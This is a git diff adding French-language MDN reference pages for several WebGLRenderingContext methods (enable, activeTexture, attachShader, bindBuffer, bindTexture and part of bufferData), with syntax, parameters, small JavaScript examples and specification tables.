+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/activer/index.html b/files/fr/web/api/webglrenderingcontext/activer/index.html
new file mode 100644
index 0000000000..4d3b41d6c0
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/activer/index.html
@@ -0,0 +1,145 @@
+---
+title: WebGLRenderingContext.enable()
+slug: Web/API/WebGLRenderingContext/activer
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/enable
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <code>WebGLRenderingContext.enable()</code> de l'API WebGL active des fonctionnalités WebGL particulières pour ce contexte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.enable(<em>fon</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fon</code></dt>
+ <dd>Un {{domxref("GLenum")}} indiquant quelle fonctionnalité WebGL activer. Valeurs possibles :</dd>
+ <dd>
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Constante</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.BLEND</code></td>
+    <td>Active le mélange des valeurs de couleur de fragment calculées. Voir {{domxref("WebGLRenderingContext.blendFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.CULL_FACE</code></td>
+    <td>Active le masquage des polygones. Voir {{domxref("WebGLRenderingContext.cullFace()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DEPTH_TEST</code></td>
+    <td>Active les comparaisons et les mises à jour dans le tampon de profondeur. Voir {{domxref("WebGLRenderingContext.depthFunc()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.DITHER</code></td>
+    <td>Active le tramage des composantes de couleur avant qu'elles ne soient écrites dans le tampon de couleur.</td>
+   </tr>
+   <tr>
+    <td><code>gl.POLYGON_OFFSET_FILL</code></td>
+    <td>Active l'ajout d'un décalage aux valeurs de profondeur des fragments de polygone. Voir {{domxref("WebGLRenderingContext.polygonOffset()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_ALPHA_TO_COVERAGE</code></td>
+    <td>Active le calcul d'une valeur de couverture temporaire déterminée par la valeur alpha.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SAMPLE_COVERAGE</code></td>
+    <td>Active le ET de la couverture des fragments avec la valeur de couverture temporaire. Voir {{domxref("WebGLRenderingContext.sampleCoverage()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.SCISSOR_TEST</code></td>
+    <td>Active le test de détourage qui supprime les fragments se trouvant en dehors du rectangle de détourage. Voir {{domxref("WebGLRenderingContext.scissor()")}}.</td>
+   </tr>
+   <tr>
+    <td><code>gl.STENCIL_TEST</code></td>
+    <td>Active le test et les mises à jour stencil dans le stencil buffer. Voir {{domxref("WebGLRenderingContext.stencilFunc()")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles :
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Constante</th>
+    <th scope="col">Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>gl.RASTERIZER_DISCARD</code></td>
+    <td>Les primitives sont supprimées immédiatement après l'étape de rastérisation, mais après l'étape de renvoi de transformation optionnelle. Les commandes <code>gl.clear()</code> sont ignorées.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.enable(gl.DITHER);
+</pre>
+
+<p>Pour vérifier que cette fonctionnalité est activée, utilisez la méthode {{domxref("WebGLRenderingContext.isEnabled()")}} :</p>
+
+<pre class="brush: js">gl.isEnabled(gl.DITHER);
+// true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "enable")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL ES 2.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l'API OpenGL ES 3.0 API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. SI vous souhaitez contribuer aux données, merci de regarder<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.enable")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.disable()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isEnabled()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/activetexture/index.html b/files/fr/web/api/webglrenderingcontext/activetexture/index.html
new file mode 100644
index 0000000000..4d2733b6eb
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/activetexture/index.html
@@ -0,0 +1,87 @@
+---
+title: WebGLRenderingContext.activeTexture()
+slug: Web/API/WebGLRenderingContext/activeTexture
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/activeTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.activeTexture()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> indique quelle unité de texture doit être rendue active.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>void gl</em>.activeTexture</var><var>(texture);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>texture</code></dt>
+ <dd>L'unité de texture à rendre active. La valueur est une <code>gl.TEXTURE<em>I</em></code> où <em>I</em> est dans la plage de 0 à<code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si <em>texture</em> n'est pas l'une des <code>gl.TEXTURE<em>I</em></code>, où <em>I</em> est dans la plage de 0 à<code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>, une erreur <code>gl.INVALID_ENUM</code> est déclenchée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'appel suivant choisit <code>gl.TEXTURE1</code> comme texture en cours. Les appels suivants qui modifient l'état de la texture affecteront cette texture.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE1);
+</pre>
+
+<p>Le nombre d'unités de texture dépend de l'implémentation, vous pouvez obtenir ce nombre à l'aide de la constante <code>MAX_COMBINED_TEXTURE_IMAGE_UNITS</code>. Il est, de par la spécification, d'au moins 8.</p>
+
+<pre class="brush: js">gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS);
+</pre>
+
+<p>Pour obtenir la texture en cours, faire une requête sur la constante <code>ACTIVE_TEXTURE</code>.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.getParameter(gl.ACTIVE_TEXTURE);
+// retourne "33984" (0x84C0, valeur enum pour gl.TEXTURE0)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statué</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "activeTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glActiveTexture.xml", "glActiveTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/attachshader/index.html b/files/fr/web/api/webglrenderingcontext/attachshader/index.html
new file mode 100644
index 0000000000..6aaac592aa
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/attachshader/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGLRenderingContext.attachShader()
+slug: Web/API/WebGLRenderingContext/attachShader
+tags:
+  - Méthode
+  - WebGL
+translation_of: Web/API/WebGLRenderingContext/attachShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong>WebGLRenderingContext.attachShader()</strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> attache un {{domxref("WebGLShader")}} de fragment ou de sommet à un {{domxref("WebGLProgram")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>gl</em>.attach</var>Shader<var>(programme, shader);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>programme</code></dt>
+ <dd>Un {{domxref("WebGLProgram")}}.</dd>
+ <dt><code>shader</code></dt>
+ <dd>Un {{domxref("WebGLShader")}} de fragment ou de sommet.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant attache des shaders pré-existants à un {{domxref("WebGLProgram")}}.</p>
+
+<pre class="brush: js">var programme = gl.createProgram();
+
+// Attacher des shaders pré-existants
+gl.attachShader(programme, shaderDeSommet);
+gl.attachShader(programme, shaderDeFragment);
+
+gl.linkProgram(programme);
+
+if ( !gl.getProgramParameter( programme, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(programme);
+  throw 'Impossible de compiler le program WebGL. \n\n' + info;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "attachShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glAttachShader.xml", "glAttachShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité fans this page est générée à partir de données structurées. Si vous souahaitez contribuer aux données, merci de regarder sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.attachShader")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/bindbuffer/index.html b/files/fr/web/api/webglrenderingcontext/bindbuffer/index.html
new file mode 100644
index 0000000000..af21b2932f
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/bindbuffer/index.html
@@ -0,0 +1,132 @@
+---
+title: WebGLRenderingContext.bindBuffer()
+slug: Web/API/WebGLRenderingContext/bindBuffer
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/bindBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.bindBuffer()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> lie un {{domxref("WebGLBuffer")}} donné à une cible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindBuffer(<var>cible</var>, <var>tampon</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref ("GLenum")}} spécifiant le point de liaison (cible). Valeurs possibles :</dd>
+</dl>
+
+<ul>
+ <li><code>gl.ARRAY_BUFFER</code> : tampon contenant des attributs de sommet, tels que des coordonnées de vertex, des données de coordonnées de texture ou des données de couleurs de sommet ;</li>
+ <li><code>gl.ELEMENT_ARRAY_BUFFER</code> : tampon utilisé pour les indices d'éléments ;</li>
+ <li>Lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, les valeurs suivantes sont disponibles en plus :
+  <ul>
+   <li><code>gl.COPY_READ_BUFFER</code> : tampon pour la copie d'un objet tampon à un autre ;</li>
+   <li><code>gl.COPY_WRITE_BUFFER</code> : tampon pour la copie d'un objet tampon à un autre ;</li>
+   <li><code>gl.TRANSFORM_FEEDBACK_BUFFER</code> : tampon pour les opérations de retour de la transformation ;</li>
+   <li><code>gl.UNIFORM_BUFFER</code> : tampon utilisé pour stocker des blocs uniformes ;</li>
+   <li><code>gl.PIXEL_PACK_BUFFER</code> : tampon utilisé pour les opérations de transfert de pixels ;</li>
+   <li><code>gl.PIXEL_UNPACK_BUFFER</code> : tampon utilisé pour les opérations de transfert de pixels.</li>
+  </ul>
+ </li>
+</ul>
+
+<dl>
+ <dt>tampon</dt>
+ <dd>Un {{domxref ("WebGLBuffer")}} à lier.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une seule cible peut être liée à un {{domxref ("WebGLBuffer")}} donné. Une tentative de lier le tampon à une autre cible déclenchera une erreur <code>INVALID_OPERATION</code> et la liaison du tampon en cours restera la même.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Liaison_d'un_tampon_à_une_cible">Liaison d'un tampon à une cible</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+
+gl.bindBuffer(gl.ARRAY_BUFFER, tampon);
+</pre>
+
+<h3 id="Récupération_des_liaisons_en_cours">Récupération des liaisons en cours</h3>
+
+<p>Pour vérifier les liaisons de tampon en cours, interrogez les constantes ARRAY_BUFFER_BINDING et ELEMENT_ARRAY_BUFFER_BINDING.</p>
+
+<pre class="brush: js">gl.getParameter(gl.ARRAY_BUFFER_BINDING);
+gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale pour WebGL.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindBuffer.xml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l’API OpenGL ES 2 (similaire).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>
+    <p>Définition mise à jour pour WebGL 2.</p>
+
+    <p>Ajoute de nouveaux tampons <code>cible</code> :<br>
+     <code>gl.COPY_READ_BUFFER</code>,<br>
+     <code>gl.COPY_WRITE_BUFFER</code>,<br>
+     <code>gl.TRANSFORM_FEEDBACK_BUFFER</code>,<br>
+     <code>gl.UNIFORM_BUFFER</code>,<br>
+     <code>gl.PIXEL_PACK_BUFFER</code>,<br>
+     <code>gl.PIXEL_UNPACK_BUFFER</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindBuffer.xhtml", "glBindBuffer")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l’API OpenGL ES 3 (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/bindtexture/index.html b/files/fr/web/api/webglrenderingcontext/bindtexture/index.html
new file mode 100644
index 0000000000..1a009bed62
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/bindtexture/index.html
@@ -0,0 +1,121 @@
+---
+title: WebGLRenderingContext.bindTexture()
+slug: Web/API/WebGLRenderingContext/bindTexture
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/bindTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.bindTexture()</code></strong> de l'API WebGL lie la {{domxref("WebGLTexture")}} donnée à une cible (point de liaison).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindTexture(<var>cible</var>, <var>texture</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref ("GLenum")}} indiquant le point de liaison (cible). Valeurs possibles :
+ <ul>
+  <li><code>gl.TEXTURE_2D</code> : une texture bidimensionnelle ;</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code> : une texture mappée sur un cube ;</li>
+  <li>lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.TEXTURE_3D</code> : une texture tridimensionnelle ;</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code> : une texture en tableau bidimensionnelle.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>texture</dt>
+ <dd>Un objet {{domxref ("WebGLTexture")}} à lier.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur <code>gl.INVALID_ENUM</code> est déclenchée si <code>cible</code> n'est pas <code>gl.TEXTURE_2D</code>, <code>gl.TEXTURE_CUBE_MAP</code>, <code>gl.TEXTURE_3D</code>, ou <code>gl.TEXTURE_2D_ARRAY</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Liaison_d'une_texture">Liaison d'une texture</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var texture = gl.createTexture();
+
+gl.bindTexture(gl.TEXTURE_2D, texture);
+</pre>
+
+<h3 id="Obtention_des_liaisons_en_cours">Obtention des liaisons en cours</h3>
+
+<p>Pour vérifier la liaison de texture en cours, interrogez les constantes <code>gl.TEXTURE_BINDING_2D</code> ou <code>gl.TEXTURE_BINDING_CUBE_MAP</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.TEXTURE_BINDING_2D);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale pour WebGL.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL ES 2.0 (similaire).</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définition mise à jour pour WebGL 2.<br>
+    Ajoute : <code>gl.TEXTURE_3D</code> et  <code>gl.TEXTURE_2D_ARRAY</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l’API OpenGL ES 3.0 (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/bufferdata/index.html b/files/fr/web/api/webglrenderingcontext/bufferdata/index.html
new file mode 100644
index 0000000000..d3fa1f224a
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/bufferdata/index.html
@@ -0,0 +1,163 @@
+---
+title: WebGLRenderingContext.bufferData()
+slug: Web/API/WebGLRenderingContext/bufferData
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/bufferData
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.bufferData()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> initialise et crée le magasin de données de l'objet tampon.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">// WebGL1:
+void gl.bufferData(cible, taille, utilisation);
+void gl.bufferData(cible, ArrayBuffer? donneesSrc, utilisation);
+void gl.bufferData(cible, ArrayBufferView donneesSrc, utilisation);
+
+// WebGL2:
+void gl.bufferData(cible, ArrayBufferView donneesSrc, utilisation, decalageSrc, longueur);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref ("GLenum")}} spécifiant le point de liaison (cible). Valeurs possibles :
+ <ul>
+  <li><code>gl.ARRAY_BUFFER</code> : tampon contenant des attributs de sommet, tels que des coordonnées de sommet, des données de coordonnées de texture ou des données de couleurs de sommet ;</li>
+  <li><code>gl.ELEMENT_ARRAY_BUFFER</code> : tampon utilisé pour les indices d'éléments ;</li>
+  <li>lors de l'utilisation d'un {{domxref ("WebGL2RenderingContext", "WebGL context 2", "", 1)}}, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.COPY_READ_BUFFER</code> : tampon pour la copie d'un objet tampon à un autre ;</li>
+    <li><code>gl.COPY_WRITE_BUFFER</code> : tampon pour la copie d'un objet tampon à un autre ;</li>
+    <li><code>gl.TRANSFORM_FEEDBACK_BUFFER</code> : tampon pour les opérations de retour de transformation ;</li>
+    <li><code>gl.UNIFORM_BUFFER</code> : tampon utilisé pour stocker des blocs uniform ;</li>
+    <li><code>gl.PIXEL_PACK_BUFFER</code> : tampon utilisé pour les opérations de transfert de pixels ;</li>
+    <li><code>gl.PIXEL_UNPACK_BUFFER</code> : tampon utilisé pour les opérations de transfert de pixels.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>taille</dt>
+ <dd>Un {{domxref("GLsizeiptr")}} définissant la taille du magasin de données de l'objet tampon.</dd>
+ <dt>donneesSrc {{optional_inline}}</dt>
+ <dd>Un {{jsxref("ArrayBuffer")}}, {{jsxref("SharedArrayBuffer")}} ou l'un des types de tableau typés {{domxref("ArrayBufferView")}} à copier dans le magasin de données. Si <code>null</code>, un magasin de données est quand même créé, mais son contenu n'est ni initialisé, ni défini.</dd>
+ <dt>utilisation</dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le modèle d'utilisation du magasin de données. Valeurs possibles :
+ <ul>
+  <li><code>gl.STATIC_DRAW</code> : le contenu du tampon est susceptible d'être utilisé souvent mais de ne pas changer souvent ; du contenu est écrit dans le tampon, mais non lu ;</li>
+  <li><code>gl.DYNAMIC_DRAW</code> : le contenu du tampon est susceptible d'être souvent utilisé et de changer souvent ; du contenu est écrit dans le tampon, mais non lu ;</li>
+  <li><code>gl.STREAM_DRAW</code> : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est écrit dans le tampon, mais non lu ;</li>
+  <li>lors de l'utilisation d'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, les valeurs suivantes the following values sont en outre disponibles :
+   <ul>
+    <li><code>gl.STATIC_READ</code> : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; du contenu est lu depuis le tampon, mais non écrit ;</li>
